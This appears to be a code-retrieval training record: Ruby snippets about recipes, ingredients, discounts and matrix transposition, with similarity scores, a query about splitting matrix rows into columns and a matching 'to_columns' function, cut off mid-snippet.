"def get_recipes(recipe_name, recipe_tag, recipe_ingredients)\n\t\t\t\trecipes_ids = Set.new\n\t\t\t\tingredients_upcase = Set.new\n\t\t\t\t#search by\n\t\t\t\tcase\n\t\t\t\twhen !recipe_name.blank?\n\t\t\t\t\trecipes_ids = Recipe.where('UPPER(name) LIKE UPPER(?)', \"%#{recipe_name}%\").pluck(:id)\n\t\t\t\twhen !recipe_tag.blank?\n\t\t\t\t\trecipes_ids = RecipeTag.where('UPPER(tag) LIKE UPPER(?)', \"%#{recipe_tag}%\").pluck(:recipe_id)\n\t\t\t\twhen !recipe_ingredients.blank?\n\n\t\t\t\t\tingredients = recipe_ingredients.to_s.delete \"[\"\n\t\t\t\t\tingredients = ingredients.delete \"]\"\n\t\t\t\t\tingredients = ingredients.delete \" \"\n\n\t\t\t\t\tingredients_array = ingredients.split(\",\") \n\n\t\t\t\t\tingredients_array.each do |ingredient|\n\t\t\t\t\t\tingredients_upcase << ingredient.upcase\n\t\t\t\t\tend\n\n\t\t\t\t\trecipes_ids = RecipeIngredient.where('UPPER(ingredient) IN (?)', ingredients_upcase).pluck(:recipe_id)\n\t\t\t\telse\n\t\t\t\t\trecipes_ids = Recipe.all.pluck(:id)\n\t\t\t\tend\n\t\t\t\t#get recipes matching the ID\n\t\t\t\tif !recipes_ids.blank?\n\t\t\t\t\trecipes = Recipe.where(\"id IN (?)\", recipes_ids).order('created_at DESC')\n\t\t\t\t\t#get tags and ingredients for each recipe\n\t\t\t\t\trecipes.each do |recipe|\n\t\t\t\t\t\trecipe.tags = RecipeTag.where('recipe_id = ?', recipe.id).pluck(:tag)\n\t\t\t\t\t\trecipe.ingredients = RecipeIngredient.where('recipe_id = ?', recipe.id).pluck(:ingredient)\n\t\t\t\t\tend\n\n\t\t\t\t\treturn recipes\n\t\t\t\tend\n\t\t\tend",
"def available_recipes\n self.user.recipes.select do |recipe|\n recipe.ingredients.all?{|ing| ing.quantity <= self.ingredients.find_by(name: ing.name).quantity}\n end\n end",
"def desserts\n self.dessert_ingredients.map {|di| di.dessert}\n end",
"def ingredient\n return nil if essence.nil?\n essence.ingredient\n end",
"def extract_discount\n m = self.discount.match(/abzgl. (\\d\\d|\\d),(\\d\\d)/)\n m ? \"#{m[1]}.#{m[2]}\" : nil\n end",
"def authoringredientrecipesearch\n @query = params[:search]\n @searchedingredients = params[:searchingredients].split(/, */)\n @searchtest = []\n @searchedingredients.each do |si|\n @searchtest.push(si.downcase)\n end\n \n Ingredient.where(\"lower(name) IN (:searching)\", \n {searching: @searchtest}).find_each do |ingredigrab|\n @searchingreed.push(ingredigrab)\n end\n RecipeIngredient.where(ingredient_id: @searchingreed).find_each do |ids|\n @recing.push(ids)\n end\n \n @author = User.find_by_username(params[:searchauthor])\n if params[:exclusive] == \"1\"\n Recipe.where(\"name like :name AND user_id = :author\", \n {name: \"%#{@query}%\", author: @author}).find_each do |r|\n insert = false\n if @recing != nil\n RecipeIngredient.where(\"recipe_id = ?\", r.id).find_each do |i|\n if @recing.include?(i) == true\n insert = true\n end\n end\n if insert == true\n @recipes.push(r)\n end\n end\n end\n else\n Recipe.where(\"name like :name AND user_id = :author\", \n {name: \"%#{@query}%\", author: @author}).find_each do |r|\n insert = true\n if (r.recipe_ingredients.all.empty? == true)\n @recipes.push(r)\n else\n if @recing != nil\n RecipeIngredient.where(\"recipe_id = ?\", r.id).find_each do |i|\n if @recing.include?(i) == true\n else\n insert = false\n end\n end\n if insert == true\n @recipes.push(r)\n end\n end\n end\n end\n end\n return @recipes\n end",
"def special_prices\n prices\n end",
"def ingredients\n Ingredient.all.select do |ingredient_instance|\n ingredient_instance.makes == self\n end\n end",
"def ingredients_list\n ing_gen(\"Large onion\", \"1\") #1\n ing_gen(\"Garlic cloves\", \"4\")\n ing_gen(\"Fresh parsley\", \"1/4 cup\")\n ing_gen(\"Mozzarella\", \"1 lb\") #4\n ing_gen(\"Whole peeled tomatoes\", \"3 12-ounce cans\") #5\n ing_gen(\"Dried penne\", \"1 lb\")\n ing_gen(\"Salt\", \"to taste\")\n ing_gen(\"Extra virgin olive oil\", \"2 tablespoons\")\n ing_gen(\"Chicken stock\", \"1 cup\")\n ing_gen(\"Spicy italian sausage\", \"1 lb\")\n ing_gen(\"Dried oregano\", \"1 tablespoon\")\n ing_gen(\"Crushed red pepper\", \"1 teaspoon\")\n ing_gen(\"Unsalted butter\", \"2 tablespoon\")\n ing_gen(\"Heavy cream\", \"1 cup\")\n ing_gen(\"Ricotta\", \"12 ounces\")\n #ing_gen(\"Parmigiano-Reggiano\", \"3 ounces\")\n\n puts \"#{@ingredients.length}\"\n puts \"Ingredient:\\t\\t Amount\"\n\n i = 0\n while i < @ingredients.length\n j = i + 1\n puts \" > #{@ingredients[i]}\\t\\t #{@ingredients[j]}\"\n i += 2\n end\nend",
"def prices(id, where)\n Price.find(:all, :conditions=>\"dish_id=#{id} and freezer='#{where}'\")\n end",
"def discount\n params['discount']\n end",
"def total_discounted_price\n # convert to array so it doesn't try to do sum on database directly\n line_items.to_a.sum(&:total_discounted_price)\n end",
"def discount\n params['discount']\n end",
"def ingredient_name\n return ingredient.name\n end",
"def discounts\n @discounts ||= [product.dig(:discounts, :item)].flatten(1).compact\n end",
"def add_ingredients(*ing)\n ing.join(', ')\nend",
"def ingredients\n rec_ing_arr = RecipeIngredient.all.select do |recipe_ingredient_ob|\n #binding.pry\n recipe_ingredient_ob.recipe == self\n end\n rec_ing_arr.map do |recipe_ob|\n recipe_ob.ingredient\n end\nend",
"def getIngredientsNames\n \tingArray = []\n \tingredients.each do |ingredient|\n \t\tingArray.push(ingredient.name)\n \tend\n \treturn ingArray\n end",
"def process_ingredient_list\n return if @ingredient_list.blank?\n\n # if this recipe was just created, save original_ingredient_list\n if original_ingredient_list.blank?\n self.original_ingredient_list = @ingredient_list\n end\n \n if @ingredient_list.is_a?(String)\n ingr_array = @ingredient_list.split(/\\n/)\n else\n ingr_array = @ingredient_list\n end\n\n # Usually Rails just sets the key to null. To really delete the record, the following two lines are needed\n ingredients_recipes.each {|ir| ir.delete}\n ingredients_recipes.reload\n \n ingr_array.each_with_index do |line, index|\n line.strip!\n next if line.empty?\n \n # check for groups first, then ingredients. Groups are deliminated with stars like this: *Group*\n attrs = {}\n if line =~ /^\\*(.*)\\*$/\n attrs[:description] = $1\n attrs[:group] = true\n else\n # If a comma, assume everything past is a comment so only parse the first part but then \n # add it back in before processing the description\n line.downcase!\n comma_index = line.index(\",\")\n desc_part = ''\n unless comma_index.blank?\n desc_part = line.slice!(comma_index .. -1)\n end\n attrs[:ingredient] = Ingredient.find_name_and_create(line)\n attrs[:weight] = Ingredient.find_num(line)\n attrs[:unit] = Ingredient.find_unit(line)\n line.slice!(desc_part) # Make sure desc_part is not included twice\n \n # if using the whole_unit, take it out here so it doesn't get repeated in the description\n if attrs[:unit] == 'whole' && !attrs[:ingredient].whole_unit.blank?\n line.slice!(attrs[:ingredient].whole_unit)\n end\n attrs[:description] = Ingredient.find_description(line + desc_part) \n end\n attrs[:line_num] = index\n attrs[:recipe_id] = self.id\n \n ingredient_recipe = IngredientsRecipe.create!(attrs)\n ingredients_recipes << ingredient_recipe\n Ingredient.standardize_unit(ingredient_recipe)\n end\n @ingredient_list = nil\n end",
"def allergens\n allergy_instances = Allergy.all.select do |allergy|\n self.ingredients.include?(allergy.ingredient)\n end \n end",
"def test_discount_on_less_quantity_of_item\n # Add 2 strawberries to line items\n line_items = [ @strawberry_in_cart_1, @strawberry_in_cart_2]\n @bulk_discount.apply(line_items)\n\n # Test if the discount is applied\n assert_equal @strawberry_in_cart_1.price, @strawberry.price, \"Discount not applied\"\n assert_equal @strawberry_in_cart_2.price, @strawberry.price, \"Discount not applied\"\n end",
"def ingredient_recipes\n self.doses.map { |d| d.recipe }.uniq\n end",
"def product_avg_discount_per(array_item)\n\t(product_avg_discount(array_item)/product_full_price(array_item).to_f * 100).round(2)\n\t#avg_price_dis/retail_pr.to_f * 100).round(2)}%\"\n\nend",
"def get_products2()\n products = Product.find_by_sql(['Select products.*,\n stocks.quantity \n from products \n INNER JOIN stocks ON products.id = stocks.product_id order by products.code '])\n return products\n end",
"def index\n @ingredientes = Ingrediente.all\n end",
"def index\n @ingredientes = Ingrediente.all\n end",
"def is_discounted?\n price < 10\n end",
"def is_discounted?\n price < 10\n end",
"def parseIngredient(raw)\n name = \"\"\n quantity = 0\n measurement = \"\"\n prep_method = \"\"\n\n jooky = raw.tr('=', ',')\n if jooky.class != String\n puts \"*******************\"\n puts jooky.class\n end\n jooky = jooky.tr!(';', ',')\n jooky = jooky.tr!('{', ' ')\n jooky = jooky.tr!('}', ' ')\n jooky.strip!.slice!(-1)\n result = jooky.split(',')\n result.each { |x| \n x.tr!('\"\"', ' ')\n x.strip!\n }\n result_hash = Hash[*result.flatten]\n\n result_string = \"\"\n result_hash.delete_if {|key, value| value == \"\"}\n if result_hash.has_key?(\"quantity\")\n result_string << result_hash[\"quantity\"] + \" \"\n end\n \n if result_hash.has_key?(\"measurement\")\n result_string << result_hash[\"measurement\"] + \" \"\n end\n \n if result_hash.has_key?(\"name\")\n result_string << result_hash[\"name\"]\n end\n \n if result_hash.has_key?(\"method\")\n result_string << \", \" + result_hash[\"method\"]\n end\n \n return result_string\n\nend",
"def get_recipe_titles(user_ingredients)\n \n search_params = 'http://www.recipepuppy.com/api/?i=' + user_ingredients.join(\",\")\n \n\n recipes = []\n search_string = RestClient.get(search_params)\n search_hash = JSON.parse(search_string)\n relevant_recipes = search_hash[\"results\"]\n relevant_recipes.collect do |recipe|\n recipes << recipe[\"title\"].strip\n end\n \n recipes\nend",
"def parse_ingredients ingredient_line, recipe \n Rails.logger.debug \"== Blender::parse_ingredients\"\n \n # Removes hifen \"-\"\n ingredient_line.gsub!(\"-\",\"\") \n # Removes Complementary Words\n ingredient_line.gsub!(/\\b(#{STOP_WORDS.join('|')})\\b/mi, ' ')\n \n # Given a ingredient line, extracts the: measure, quantity, ingredient name\n measure, quantity, ingredient = get_measure_quantity_and_ingredient ingredient_line.downcase\n \n Rails.logger.debug \"* Extracted Ingredient: Quant:(#{quantity}) Meas:(#{measure}) Name:(#{ingredient})\"\n \n add_ingredient_to_recipe quantity, measure, ingredient, recipe \n # Returns true if could understand and extract the measure and quantity\n return !measure.nil? && !quantity.nil?\n end",
"def income_list\n end",
"def index\n @dis_ingredients = DisIngredient.all\n end",
"def allergens\n ingredients & Allergy.ingredients \n end",
"def search(query)\n price_range = (query[:price_min]..query[:price_max])\n result = PRODUCTS.select do |product|\n price_range.cover?(product[:price]) && \n product[:name].downcase.include?(query[:q])\n end\n result\nend",
"def get_recipe_ingredient_list(url, ingredients, a, need, got)\n page = HTTParty.get(url)\n parse_page = Nokogiri::HTML(page)\n scraped_ingredient = []\n parse_page.css(\".ingredient-description\").map do |a|\n ing = a.text\n scraped_ingredient.push(ing)\n end\n\n for i in scraped_ingredient\n j = 0\n while j < a\n if i.downcase.include?(ingredients[j].downcase) == false\n need.push(i)\n j += 1\n else\n got.push(i)\n j += 1\n end\n end\n end\nend",
"def search(query)\n selected_laptop = PRODUCTS.select do |laptop|\n laptop[:name].downcase.include?(query[:q]) && (query[:price_min]..query[:price_max]).include?(laptop[:price])\n end\n p selected_laptop\nend",
"def add_discount(product, condition, price_formula_true, price_formula_false = 'product_price * _amount')\n product_list[product].add_discount(condition, price_formula_true, price_formula_false)\n end",
"def one_stock(aliments_or_drinks)\n total= 0\n for food_or_drink in aliments_or_drinks\n total += food_or_drink.price\n end\n return total\n end",
"def list_products\n @products.map { |p| \"#{p.name} costs £#{p.price / 100.round(2)}\" }\n end"
] | [
"0.65997213",
"0.64969015",
"0.6429482",
"0.6423304",
"0.63065237",
"0.6298558",
"0.6292207",
"0.6289943",
"0.625009",
"0.61613816",
"0.61325073",
"0.6085409",
"0.6082717",
"0.60139555",
"0.6012992",
"0.5984362",
"0.59690243",
"0.5963172",
"0.5951004",
"0.59345365",
"0.59140044",
"0.5901204",
"0.58972245",
"0.58678085",
"0.5863546",
"0.5850022",
"0.58051836",
"0.5801284",
"0.58002514",
"0.5798505",
"0.5794902",
"0.5791272",
"0.57854575",
"0.57782674",
"0.5772688",
"0.5763817",
"0.5761739",
"0.57392883",
"0.5729292",
"0.57228905",
"0.57201207",
"0.5716259",
"0.5716259",
"0.5701289",
"0.5697498",
"0.566958",
"0.5666966",
"0.5645672",
"0.5635197",
"0.5624248",
"0.5621394",
"0.56149924",
"0.5614333",
"0.5606144",
"0.5590189",
"0.5589083",
"0.5582218",
"0.5575004",
"0.55486745",
"0.5547138",
"0.553924",
"0.5527102",
"0.55245376",
"0.5522841",
"0.55132884",
"0.5508837",
"0.5496296",
"0.5488203",
"0.5484308",
"0.54781437",
"0.5476403",
"0.54695314",
"0.5460694",
"0.5459965",
"0.5455108",
"0.54401875",
"0.543633",
"0.5432239",
"0.54189175",
"0.54160553",
"0.5414154",
"0.5407722",
"0.5402558",
"0.53895336",
"0.53795874",
"0.53788465",
"0.53788465",
"0.5375792",
"0.5375792",
"0.53615004",
"0.5358744",
"0.53516215",
"0.53369063",
"0.53353596",
"0.5328511",
"0.53194517",
"0.53178644",
"0.53164625",
"0.53134054",
"0.5311322",
"0.5311194"
] | 0.0 | -1 |
matrix.columns = [ [1, 4, 7, 8], [2, 5, 8, 7], [3, 6, 9, 6] ] col1 = [1, 4, 7, 8] col2 = [2, 5, 8, 7] col3 = [3, 6, 9, 6] | def to_columns(data)
col_arr = []
data.split("\n").each do |row|
row.split(' ').each_with_index do |num, ind|
if col_arr[ind] == nil
col_arr << [num.to_i]
else
col_arr[ind] << num.to_i
end
end
#col_arr = [[1], [2], [3]]
end
col_arr
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def add_columns! *columns\r\n matrix_new = add_columns *columns\r\n @rows = matrix_new.to_a\r\n @column_size = @rows[0].size\r\n end",
"def column(matrix, col_index)\n (0...matrix.size).inject([]) do |column, row_index|\n column << matrix[row_index][col_index]\n end\nend",
"def matrix\n end",
"def transpose(matrix)\n transpose_matrix = []\n matrix.each_with_index do |row, row_index|\n row.each_with_index do |item, col_index|\n if transpose_matrix[col_index] == nil\n transpose_matrix[col_index] = [] # cannot use a[index] << [] as it will raise error as a[index] return nil which do not have << method\n end\n transpose_matrix[col_index][row_index] = item\n end\n end\n \n transpose_matrix\nend",
"def rows_to_columns?(matrix_1, matrix_2)\n\n return if matrix_1.length == matrix_2.length\n\n new_arr = []\n\n if matrix_1.length == matrix_2[0].length\n temp_arr = []\n element = 0 \n\n while element != matrix_1.length \n matrix_2.each do |arr|\n temp_arr << arr[element]\n end \n new_arr << temp_arr\n temp_arr = []\n element += 1\n \n # Printing for testing purposes\n p new_arr[0] \n p new_arr[1]\n p new_arr[2]\n p new_arr[3]\n end\n\n # The check has returned false. The multiplication is not pheasable \n else\n puts \"Sorry These matrices are not naturally divisible even if transposed\" \n end \n\nend",
"def transpose(matrix)\n result = []\n (0..2).each do |column_index|\n new_row = (0..2).map { |row_index| matrix[row_index][column_index] }\n result << new_row\n end\n result\nend",
"def exercise_1113 (matrix)\n end",
"def transpose(matrix)\n new_matrix = Array.new(3) { Array.new }\n matrix.each_with_index do |row, row_index|\n row.each_with_index do |element, element_index|\n # binding.pry\n new_matrix[element_index][row_index] = element\n end\n end\n new_matrix\nend",
"def column2matrix(c)\n a = self.send(:column, c).to_a\n if c.is_a?(Range) and c.entries.size > 1\n return Matrix[*a]\n else\n return Matrix[*a.collect{|x| [x]}]\n end\n end",
"def get_col(board, col)\n board.transpose[col]\nend",
"def columns\n cols = []\n (0...size).each do |i|\n vals = []\n (0...size).each do |j|\n vals.push(get_square({:column => i, :row => j}))\n end\n cols.push(Row.new(size, {:vals => vals}))\n end\n cols\n end",
"def populate_matrix_with_column_headers\n populate_matrix_with_row_headers\n collect_column_headers\n @outcome_array[0] = @outcome_array[0].clear.push(\" \").push(@column_headers).flatten! \n @outcome_array\nend",
"def transpose(matrix)\n new_matrix = []\n (0...matrix.size).each { |index| new_matrix << column(matrix, index) }\n new_matrix\nend",
"def clearcolumns\r\n\t\t\t@matrix = []\r\n\t\t\t@matrix[0] = [\"_\", \"_\", \"_\", \"_\", \"_\", \"_\", \"_\"]\r\n\t\t\t@matrix[1] = [\"_\", \"_\", \"_\", \"_\", \"_\", \"_\", \"_\"]\r\n\t\t\t@matrix[2] = [\"_\", \"_\", \"_\", \"_\", \"_\", \"_\", \"_\"]\r\n\t\t\t@matrix[3] = [\"_\", \"_\", \"_\", \"_\", \"_\", \"_\", \"_\"]\r\n\t\t\t@matrix[4] = [\"_\", \"_\", \"_\", \"_\", \"_\", \"_\", \"_\"]\r\n\t\t\t@matrix[5] = [\"_\", \"_\", \"_\", \"_\", \"_\", \"_\", \"_\"]\r\n\t\tend",
"def columns\r\n # TODO: transpose possibly doesn't work for rectangular (non-square) maps\r\n @all_columns ||= rows.transpose\r\n end",
"def columns\n @board.transpose\n end",
"def col_arrays\n #puts self.inspect\n cols = []\n (MIN_ROW_POSITION..MAX_ROW_POSITION).each do |i|\n cols[i] = []\n (MIN_COL_POSITION..MAX_COL_POSITION).each do |j|\n cols[i].push(@board[j][i])\n end\n end \n cols\n end",
"def ask_matrix(rows, columns)\n accl = []\n while accl.length < rows * columns do\n accl.concat ask\n end\n Matrix::build(rows, columns) do |r, c|\n accl[ c + r * rows ]\n end\nend",
"def transpose(matrix)\n transposed = []\n num_columns = matrix.first.length\n num_rows = matrix.length\n\n (0...num_columns).each do |col|\n row_to_add = []\n (0...num_rows).each do |row|\n row_to_add << matrix[row][col]\n end\n transposed << row_to_add\n end\n\n # another version:\n # (0...num_columns).each do |column_index|\n # new_row = (0...num_rows).map do |row_index|\n # matrix[row_index][column_index]\n # end\n # result << new_row\n # end\n\n transposed\nend",
"def my_transpose(matrix)\n transposed = []\n matrix.each_with_index do |row, i|\n new_row = []\n row.each_with_index do |ele, j|\n new_row << matrix[j][i]\n end\n transposed << new_row\n end\n transposed\nend",
"def other_way(matrix)\n result = []\n (0..2).each do |column_index|\n new_row = (0..2).map {|row_index| matrix[row_index][column_index]}\n result << new_row\n end\n result\nend",
"def get_col(col)\n $boggle_board.transpose[col]\nend",
"def make_columns(rows)\n columns = Array.new(rows.size) { [] }\n # make an empty nested array to represent columns.\n # iterate through the rows, for each row...\n # place the number into the new nested array evenly across the subarrays\n rows.each do |row|\n row.each_with_index do |num, col_idx|\n columns[col_idx] << num\n end\n end\n columns\nend",
"def squarocol?(matrix)\n return true if matrix.any? { |row| row.uniq.size == 1}\n\n return true if matrix.transpose.any? { |row| row.uniq.size == 1 }\n\n false\nend",
"def matrix_transpose(matrix)\r\n m_row = 0\r\n t_col = 0\r\n result = []\r\n while matrix[m_row]\r\n m_col = 0\r\n t_row = 0\r\n while matrix[m_row][m_col]\r\n result.push([])\r\n result[t_row][t_col] = matrix[m_row][m_col]\r\n m_col += 1\r\n t_row += 1\r\n end\r\n m_row += 1\r\n t_col += 1\r\n end\r\n return result\r\nend",
"def assemble_matrix(mat_list)\n mat_list.flatten!\n rows = columns = mat_list.length**(0.5)\n final_matrix = (0..rows-1).map { |x| [] }\n\n (0..rows-1).each do |row|\n (0..columns-1).each do |column|\n offset = ( ( row / 2 ) * 8 ) +\n ( ( row % 2 ) * 2 ) +\n ( ( column / 2 ) * 2 ) +\n column\n\n final_matrix[row] << mat_list[offset]\n end\n end\nfinal_matrix\nend",
"def squarocol?(matrix)\n return true if matrix.any? { |row| row.uniq.length == 1}\n return true if matrix.transpose.any? { |col| col.uniq.length == 1}\n false\nend",
"def pick_a_column(board, *coords)\n\t\tcolumn_array = []\n \tcolumn_array << coords.map { |coord| board[coord.first][coord.last]}\n\tend",
"def cols\n cols = [[], [], []]\n @rows.each do |row| # row = conents of [0][0], [0][1], [0][2]\n row.each_with_index do |mark, col| #:x, 0 ; :o, 1, :x, 0\n #ex: [[:x, :o, :x], [:x, nil, :o], [:x, nil, :x]]\n cols[col] << mark #cols[0] = the three marks in column 0\n end\n end\n\n cols\n end",
"def initMatrix(a)\n\t\tfor i in 0..5\n\t\tcolumn = []\n\t\ta[i] = column\n\t\t\tfor j in 0..5\n\t\t\tcolumn[j] = \" \"\n\t\t\tend\n\t\tend\n\treturn a\t\n\tend",
"def transpose(matrix)\n result = Array.new(matrix[0].length, []) #HARD - PASS BY REFERENCE ISSUE\n matrix.each do |row|\n row.each_with_index do |el, col_idx|\n result[col_idx] << el\n end\n end\n result\nend",
"def pp_matrix(matrix)\n matrix.each { |x| puts x.map { |y| y.inspect[1...-1].split('').join(' ') + ' , ' }.join[0...-3] }\n print_new_line\nend",
"def getColumn arr, col\n arr2 = [] \n for row in arr do\n arr2.push row[col]\n end \n return arr2\nend",
"def cols\n # remove the nils\n cols = (Array.new(@size) { Array.new(@size) }).map { |col| col.select { |el| el != nil} }\n \n @rows.each do |row|\n row.each_with_index do |mark, col_idx|\n cols[col_idx] << mark\n end\n end\n \n cols\n end",
"def hconcat(*matrices)\n concat(*matrices, :column)\n end",
"def transpose\n Matrix.columns(@rows)\n end",
"def cols(j)\r\n\t\tc = {}\r\n\t\tfor r in @m_Matrix.keys do \r\n\t\t\tc[r] = @m_Matrix[r].vector[j] if @m_Matrix[r].vector.keys.include? j\r\n\t\tend\r\n\t\tSparseVector.new c\r\n\tend",
"def transpose!(matrix)\n (0...matrix.size).each do |row|\n (0...matrix.size).each do |col|\n matrix[row][col], matrix[col][row] =\n matrix[col][row], matrix[row][col] if row < col\n end\n end\nend",
"def columns\n puzzle.transpose\n end",
"def set_zeros_in_columns(matrix, row)\n matrix.length.times { |column_index| matrix[row][column_index] = 0 }\nend",
"def column_vectors\n # (0 .. column_size - 1).collect { |i| column(i) }\n my_rows = @rows\n r_size = my_rows.size\n col_size = my_rows[0].size\n vector_cls = Vector\n array_cls = Array\n res = array_cls.new(col_size)\n for j in 0..col_size-1 do\n a_col = array_cls.new(r_size)\n for i in 0..r_size-1 do\n a_col[i] = my_rows[i][j]\n end\n res[j] = Vector.elements(a_col, false)\n end\n res\n end",
"def transpose(matrix)\n new_row_0 = []\n new_row_1 = []\n new_row_2 = []\n\n matrix.each do |row|\n new_row_0 << row[0] \n new_row_1 << row[1]\n new_row_2 << row[2]\n end\n p [new_row_0, new_row_1, new_row_2]\nend",
"def transpose(matrix)\narray1 = []\narray2 = []\narray3 = []\nretrun_matrix = []\n\nmatrix.each do |element_1, element_2, element_3|\n array1 << element_1\n array2 << element_2\n array3 << element_3\n end \n retrun_matrix << array1 \n retrun_matrix << array2\n retrun_matrix << array3 \n return retrun_matrix\nend",
"def matrix(x, y, z)\n sub_array = []\n y.times do\n sub_array.push(z);\n end\n #sub_array\n array = [];\n x.times do\n array.push(sub_array)\n end\n array\nend",
"def print_matrix(matrix)\n matrix.each do |row|\n p row\n end\nend",
"def transpose(matrix)\n new_matrix = []\n\n new_matrix_size = matrix[0].size\n\n new_matrix_size.times do |old_column|\n new_row = []\n\n matrix.size.times do |old_row|\n new_row << matrix[old_row][old_column]\n end\n\n new_matrix << new_row\n end\n\n new_matrix\nend",
"def col(j)\n \tc = {}\n \tfor r in @matrix.keys do\n \tc[r] = @matrix[r].vector[j] if @matrix[r].vector.keys.include? j\n \tend\n \tVector_disperso.new c\n\tend",
"def get_col(board,col)\n\tboard.map { |row| row[col] }\nend",
"def rowwise_seat_matrix\n number_of_columns = []\n @seat_matrix.map{|item| number_of_columns << item.last}\n number_of_rows = number_of_columns.flatten.uniq.max\n result =[]\n number_of_rows.times do |row|\n row_array = Array.new()\n @seat_matrix.each do |seat_matrix|\n unless seat_matrix.last <= row\n row_array << Array.new(seat_matrix.first, \"XX\") #Initializing array with string value \"XX\"\n else\n row_array << []\n end\n end\n result << row_array\n end\n return result\n end",
"def dump_matrix(*arg)\n matrix = self.to_matrix(*arg)\n sorted = @index.sort {|a,b| a[1] <=> b[1]}\n \"[# \" + sorted.collect{|x| x[0]}.join(\", \") + \"\\n\" +\n matrix.to_a.collect{|row| ' ' + row.inspect}.join(\",\\n\") + \"\\n]\"\n end",
"def transpose(matrix)\n new_matrix = [[], [], []]\n matrix.each do |array|\n 3.times do |i|\n new_matrix[i] << array[i]\n end\n end\n new_matrix\nend",
"def matrix(text)\n row1, row2, row3 = rows_as_char_arrays(text)\n row1.zip(row2, row3)\n end",
"def my_transpose(matrix)\n raise \"Not a two dimensional array\" unless matrix.length > 1 && matrix[0].is_a?(Array)\n result = Array.new(matrix.length) {Array.new(matrix.length)}\n\n result.each_index do |row|\n result[row].each_index do |col|\n result[row][col] = matrix[col][row]\n end\n end\n\n result\nend",
"def dump_matrix(*arg)\n matrix = self.to_matrix(*arg)\n sorted = @index.sort {|a,b| a[1] <=> b[1]}\n \"[# \" + sorted.collect{|x| x[0]}.join(\", \") + \"\\n\" +\n\tmatrix.to_a.collect{|row| ' ' + row.inspect}.join(\",\\n\") + \"\\n]\"\n end",
"def verify_matrix(matrix, rows_array, columns_array)\n rows = matrix.size\n columns = matrix[0].size\n\n rows.times do |row|\n columns.times do |column|\n if (rows_array.include?(row) || columns_array.include?(column))\n if matrix[row][column] != 0\n puts \"BUG!!! matrix[#{row}][#{column}] should be 0\"\n return false\n end\n elsif matrix[row][column] != 1\n puts \"BUG!!! matrix[#{row}][#{column}] should be 1\"\n return false\n end\n end\n end\n return true\nend",
"def print_matrix(matrix)\n puts separator = '-' * matrix.first.length * 6 + '--'\n\n matrix.each do |row|\n line = ''\n row.each do |col|\n line += col.to_s.rjust(3).ljust(6)\n end\n puts \"|#{line}|\".yellow\n end\n\n puts separator\nend",
"def rotate_matrix(matrix)\n (0...matrix.length).each do |row|\n col = row + 1\n while col < matrix.length\n matrix[row][col], matrix[col][row] = matrix[col][row], matrix[row][col]\n col += 1\n end\n end\n\n (0...matrix.length).each do |row|\n start_col = 0\n end_col = matrix.length - 1\n\n while start_col < end_col\n matrix[row][start_col], matrix[row][end_col] = matrix[row][end_col], matrix[row][start_col]\n start_col += 1\n end_col -= 1\n end\n end\n\n matrix\nend",
"def my_transpose(matrix)\n #algorithm\n for i in 0...matrix[0].length\n for j in (i + 1)...matrix[0].length\n temp = matrix[i][j]\n matrix[i][j] = matrix[j][i]\n matrix[j][i] = temp\n end\n end\n\n #printer\n for k in (0..(matrix[0].length-1))\n puts matrix[k].join(\" \")\n end\n matrix\nend",
"def get_col(board, column)\n\tboard.map {|col| col[column]}\nend",
"def matrix(*arrays)\n Array.new(arrays.size){|i| arrays[i]} ;\n end",
"def board_column_values(board, column_number)\n column_values = []\n\n BOARD_HEIGHT.times do |i|\n column_values << board.values[column_number - 1 + BOARD_WIDTH * i]\n end\n column_values\nend",
"def populate1(matrix)\n\t(0..5).each do |x|\n\t\t(0..5).each do |y|\n\t\t\tmatrix[x][y] = (@cols[y] & @rows[x]).sample\n\t\t\t@cols[y].delete(matrix[x][y])\n\t\t\t@rows[x].delete(matrix[x][y])\n\t\tend\n\tend\n\n# \tp z = matrix.flatten\n# \tif z.include?(nil)!=true\n# \t\treturn matrix\n# \telse\n# \t\tp \"has nil(s)\"\n# \tend\nend",
"def assemble_matrix(mat_list)\n mat_list.flatten!\n rows = columns = mat_list.length**(0.5)\n final_matrix = (0..rows-1).map { |x| [] }\n\n (0..rows-1).each do |row|\n (0..columns-1).each do |column|\n offset = ( ( row / 2 ) * 8 ) +\n ( ( row % 2 ) * 2 ) +\n ( ( column / 2 ) * 2 ) +\n column\n\n final_matrix[row] << mat_list[offset]\n end\n end\n final_matrix\n end",
"def get_col(board, col)\n board.map {|x| x[col]}\nend",
"def make_matrixes col, row\n\n if row == 1 or col == 1\n return [ # matrixes\n [ # matrix\n Array.new(row, []), # rows\n [] # groups\n ]\n ]\n end\n\n #\n # type make_row_patterns : [[Int]]\n # when col = 3\n # => [[], [0], [1], [2], [0, 2]]\n make_row_patterns = -> {\n patterns = (0...col).to_a.subset(0, (col / 2.0).ceil)\n .select { |nums|\n nums.each_cons(2).none? { |ns| ns[0] + 1 == ns[1] }\n }\n }\n\n #\n # type make_row_patterns_hash : { [Int] => [Int] }\n # when col = 3\n # => {\n # [] => [[], [0], [1], [2], [0, 2]],\n # [0] => [[], [1], [2]],\n # [1] => [[], [0], [2], [0, 2]],\n # [2] => [[], [0], [1]],\n # [0, 2] => [[], [1]]\n # }\n #\n make_row_patterns_hash = -> {\n ps = make_row_patterns.call\n ps.each_with_object({}) { |nums, h|\n h[nums] = ps.select { |ns|\n ns.size + nums.size < col and\n ns - nums == ns\n }\n }\n }\n\n #\n # type patterns : { [Int] => [Int] }\n #\n patterns = make_row_patterns_hash.call\n\n #\n # type matrixes : [matrix]\n # type matrix : [rows, groups]\n # type rows : [row]\n # type row : [Int]\n # type groups : [Group]\n #\n matrixes = patterns.keys.map { |row|\n [[row], row.map { |x| Group.new [Point.make(x, 0)] }]\n }\n\n #\n # loop : apply flat_map\n (1...row).each { |y|\n matrixes = matrixes.flat_map { |matrix|\n rows = matrix.first\n groups = matrix[1]\n patterns[rows.last].map { |pattern|\n #\n # merge pattern with groups\n #\n # what a pain logic!!\n #\n new_groups = []\n catch(:pattern) do\n old_groups = groups.clone\n pattern.lazy.map { |x| Point.make x, y }\n .each { |point|\n\n # new_groups.map.size === 0, 1\n ngs = new_groups.lazy.map { |group|\n [group, group.corner_points(point)]\n }.select { |group_corners|\n group_corners[1].size > 0\n }.map { |g_c|\n\n # if group has (two) corner points,\n # when the group surround.\n if g_c[1].size > 1\n new_groups = nil\n throw :pattern\n end\n\n g_c[0]\n }.to_a\n new_groups = new_groups - ngs\n\n # old_groups.map.size === 0, 1, 2\n ogs = old_groups.lazy.map { |group|\n [group, group.corner_points(point)]\n }.select 